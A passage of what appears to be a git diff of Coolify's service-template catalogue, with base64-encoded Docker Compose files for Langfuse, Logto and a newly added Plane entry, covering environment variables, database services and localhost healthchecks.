FBPUlRfRU5EUE9JTlR9JwogICAgICAzMTogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgICAgIDMyOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRH0nCiAgICAgIDMzOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgMzQ6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMzU6ICdMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM6LTF9JwogICAgICAzNjogJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogICAgICAzNzogUkVESVNfSE9TVD1yZWRpcwogICAgICAzODogUkVESVNfUE9SVD02Mzc5CiAgICAgIDM5OiAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICA0MDogJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICA0MTogJ1NNVFBfQ09OTkVDVElPTl9VUkw9JHtTTVRQX0NPTk5FQ1RJT05fVVJMOi19JwogICAgICA0MjogJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAgICAgNDM6ICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgICAgIDQ0OiAnSE9TVE5BTUU9JHtIT1NUTkFNRTotMC4wLjAuMH0nCiAgICAgIDQ1OiAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAgICAgNDY6ICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAgICAgNDc6ICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ6LW15LXByb2plY3R9JwogICAgICA0ODogJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogICAgICA0OTogJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICA1MDogJ0xBTkdGVVNFX0lOSVRfVVNFUl9OQU1FPSR7U0VSVklDRV9VU0VSX0xBTkdGVVNFfScKICAgICAgNTE6ICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKICAgICAgU0VSVklDRV9VUkxfTEFOR0ZVU0VfMzAwMDogJyR7U0VSVklDRV9VUkxfTEFOR0ZVU0VfMzAwMH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy1xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9hcGkvcHVibGljL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBsYW5nZnVzZS13b3JrZXI6CiAgICBpbWFnZTogJ2xhbmdmdXNlL2xhbmdmdXNlLXdvcmtlcjozJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgLSAnU0FMVD0ke1NFUlZJQ0VfUEFTU1dPUkRfU0FMVH0nCiAgICAgIC0gJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgICAgIC0gJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgLSAnTEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUz0ke0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM6LWZhbHNlfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVNFUj0ke1NFUlZJQ0VfVVNFUl9DTElDS0hPVVNFfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICAgIC0gQ0xJQ0tIT1VTRV9DTFVTVEVSX0VOQUJMRUQ9ZmFsc2UKICAgICAgLSAnTEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I9JHtMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQjotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg6LW1lZGlhL30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg6LWV4cG9ydHMvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT046LWF1dG99JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUzotMX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBSRURJU19QT1JUPTYzNzkKICAgICAgLSAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICAtICdFTUFJTF9GUk9NX0FERFJFU1M9JHtFTUFJTF9GUk9NX0FERFJFU1M6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnU01UUF9DT05ORUNUSU9OX1VSTD0ke1NNVFBfQ09OTkVDVElPTl9VUkw6LX0nCiAgICAgIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAgICAgLSAnQVVUSF9ESVNBQkxFX1NJR05VUD0ke0FVVEhfRElTQUJMRV9TSUdOVVA6LXRydWV9JwogICAgICAtICdIT1NUTkFNRT0ke0hPU1ROQU1FOi0wLjAuMC4wfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfTkFNRT0ke0xBTkdGVVNFX0lOSVRfT1JHX05BTUU6LU15IE9yZ30nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRD0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRDotbXktcHJvamVjdH0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw9JHtMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9VU0VSX05BTUU9JHtTRVJWSUNFX1VTRVJfTEFOR0ZVU0V9JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIGNsaWNraG91c2U6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1uby12ZXJib3NlJwogICAgICAgIC0gJy0tdHJpZXM9MScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMzAvYXBpL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNy1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1oIGxvY2FsaG9zdCAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo4JwogICAgY29tbWFuZDoKICAgICAgLSBzaAogICAgICAtICctYycKICAgICAgLSAncmVkaXMtc2VydmVyIC0tcmVxdWlyZXBhc3MgIiRTRVJWSUNFX1BBU1NXT1JEX1JFRElTIicKICAgIGVudmlyb25tZW50OgogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnbGFuZ2Z1c2VfcmVkaXNfZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtICctYScKICAgICAgICAtICRTRVJWSUNFX1BBU1NXT1JEX1JFRElTCiAgICAgICAgLSBQSU5HCiAgICAgIGludGVydmFsOiAzcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTAKICBjbGlja2hvdXNlOgogICAgaW1hZ2U6ICdjbGlja2hvdXNlL2NsaWNraG91c2Utc2VydmVyOjI2LjIuNC4yMycKICAgIHVzZXI6ICcxMDE6MTAxJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0NMSUNLSE9VU0VfREI9JHtDTElDS0hPVVNFX0RCOi1kZWZhdWx0fScKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX2NsaWNraG91c2VfZGF0YTovdmFyL2xpYi9jbGlja2hvdXNlJwogICAgICAtICdsYW5nZnVzZV9jbGlja2hvdXNlX2xvZ3M6L3Zhci9sb2cvY2xpY2tob3VzZS1zZXJ2ZXInCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3dnZXQgLS1uby12ZXJib3NlIC0tdHJpZXM9MSAtLXNwaWRlciBodHRwOi8vbG9jYWxob3N0OjgxMjMvcGluZyB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "ai", "qdrant", @@ -2607,7 +2622,7 @@ "logto": { "documentation": "https://docs.logto.io/docs/tutorials/get-started/#logto-oss-self-hosted?utm_source=coolify.io", "slogan": "A comprehensive identity solution covering both the front and backend, complete with pre-built infrastructure and enterprise-grade solutions.", - "compose": "c2VydmljZXM6CiAgbG9ndG86CiAgICBpbWFnZTogJ3N2aGQvbG9ndG86JHtUQUctbGF0ZXN0fScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnRyeXBvaW50OgogICAgICAtIHNoCiAgICAgIC0gJy1jJwogICAgICAtICducG0gcnVuIGNsaSBkYiBzZWVkIC0tIC0tc3dlICYmIG5wbSBzdGFydCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0xPR1RPCiAgICAgIC0gVFJVU1RfUFJPWFlfSEVBREVSPTEKICAgICAgLSAnREJfVVJMPXBvc3RncmVzOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTX0RCOi1sb2d0b30nCiAgICAgIC0gRU5EUE9JTlQ9JExPR1RPX0VORFBPSU5UCiAgICAgIC0gQURNSU5fRU5EUE9JTlQ9JExPR1RPX0FETUlOX0VORFBPSU5UCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ2V4aXQgMCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNC1hbHBpbmUnCiAgICB1c2VyOiBwb3N0Z3JlcwogICAgZW52aXJvbm1lbnQ6CiAgICAgIFBPU1RHUkVTX1VTRVI6ICcke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgUE9TVEdSRVNfREI6ICcke1BPU1RHUkVTX0RCOi1sb2d0b30nCiAgICB2b2x1bWVzOgogICAgICAtICdsb2d0by1wb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBwZ19pc3JlYWR5CiAgICAgICAgLSAnLVUnCiAgICAgICAgLSAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgICAgLSAnLWQnCiAgICAgICAgLSAkUE9TVEdSRVNfREIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "c2VydmljZXM6CiAgbG9ndG86CiAgICBpbWFnZTogJ3N2aGQvbG9ndG86JHtUQUctbGF0ZXN0fScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnRyeXBvaW50OgogICAgICAtIHNoCiAgICAgIC0gJy1jJwogICAgICAtICducG0gcnVuIGNsaSBkYiBzZWVkIC0tIC0tc3dlICYmIG5wbSBydW4gYWx0ZXJhdGlvbiBkZXBsb3kgbGF0ZXN0ICYmIG5wbSBzdGFydCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0xPR1RPCiAgICAgIC0gVFJVU1RfUFJPWFlfSEVBREVSPTEKICAgICAgLSAnREJfVVJMPXBvc3RncmVzOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTX0RCOi1sb2d0b30nCiAgICAgIC0gRU5EUE9JTlQ9JExPR1RPX0VORFBPSU5UCiAgICAgIC0gQURNSU5fRU5EUE9JTlQ9JExPR1RPX0FETUlOX0VORFBPSU5UCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ2V4aXQgMCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNC1hbHBpbmUnCiAgICB1c2VyOiBwb3N0Z3JlcwogICAgZW52aXJvbm1lbnQ6CiAgICAgIFBPU1RHUkVTX1VTRVI6ICcke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgUE9TVEdSRVNfREI6ICcke1BPU1RHUkVTX0RCOi1sb2d0b30nCiAgICB2b2x1bWVzOgogICAgICAtICdsb2d0by1wb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBwZ19pc3JlYWR5CiAgICAgICAgLSAnLVUnCiAgICAgICAgLSAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgICAgLSAnLWQnCiAgICAgICAgLSAkUE9TVEdSRVNfREIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "logto", "identity", @@ -3703,6 +3718,28 @@ "minversion": "0.0.0", "port": "80" }, + "plane": { + "documentation": "https://docs.plane.so/self-hosting/methods/docker-compose?utm_source=coolify.io", + "slogan": "The open source project management tool", + "compose": "eC1kYi1lbnY6CiAgUEdIT1NUOiBwbGFuZS1kYgogIFBHREFUQUJBU0U6IHBsYW5lCiAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogIFBPU1RHUkVTX0RCOiBwbGFuZQogIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQp4LXJlZGlzLWVudjoKICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99Jwp4LW1pbmlvLWVudjoKICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwp4LWF3cy1zMy1lbnY6CiAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9Jwp4LXByb3h5LWVudjoKICBBUFBfRE9NQUlOOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgRklMRV9TSVpFX0xJTUlUOiAnJHtGSUxFX1NJWkVfTElNSVQ6LTUyNDI4ODB9JwogIEJVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogIFNJVEVfQUREUkVTUzogJyR7U0lURV9BRERSRVNTOi06ODB9Jwp4LW1xLWVudjoKICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKeC1saXZlLWVudjoKICBBUElfQkFTRV9VUkw6ICcke0FQSV9CQVNFX1VSTDotaHR0cDovL2FwaTo4MDAwfScKICBMSVZFX1NFUlZFUl9TRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9MSVZFU0VDUkVUCngtYXBwLWVudjoKICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjMuMH0nCiAgV0VCX1VSTDogJyR7U0VSVklDRV9VUkxfUExBTkV9JwogIERFQlVHOiAnJHtERUJVRzotMH0nCiAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1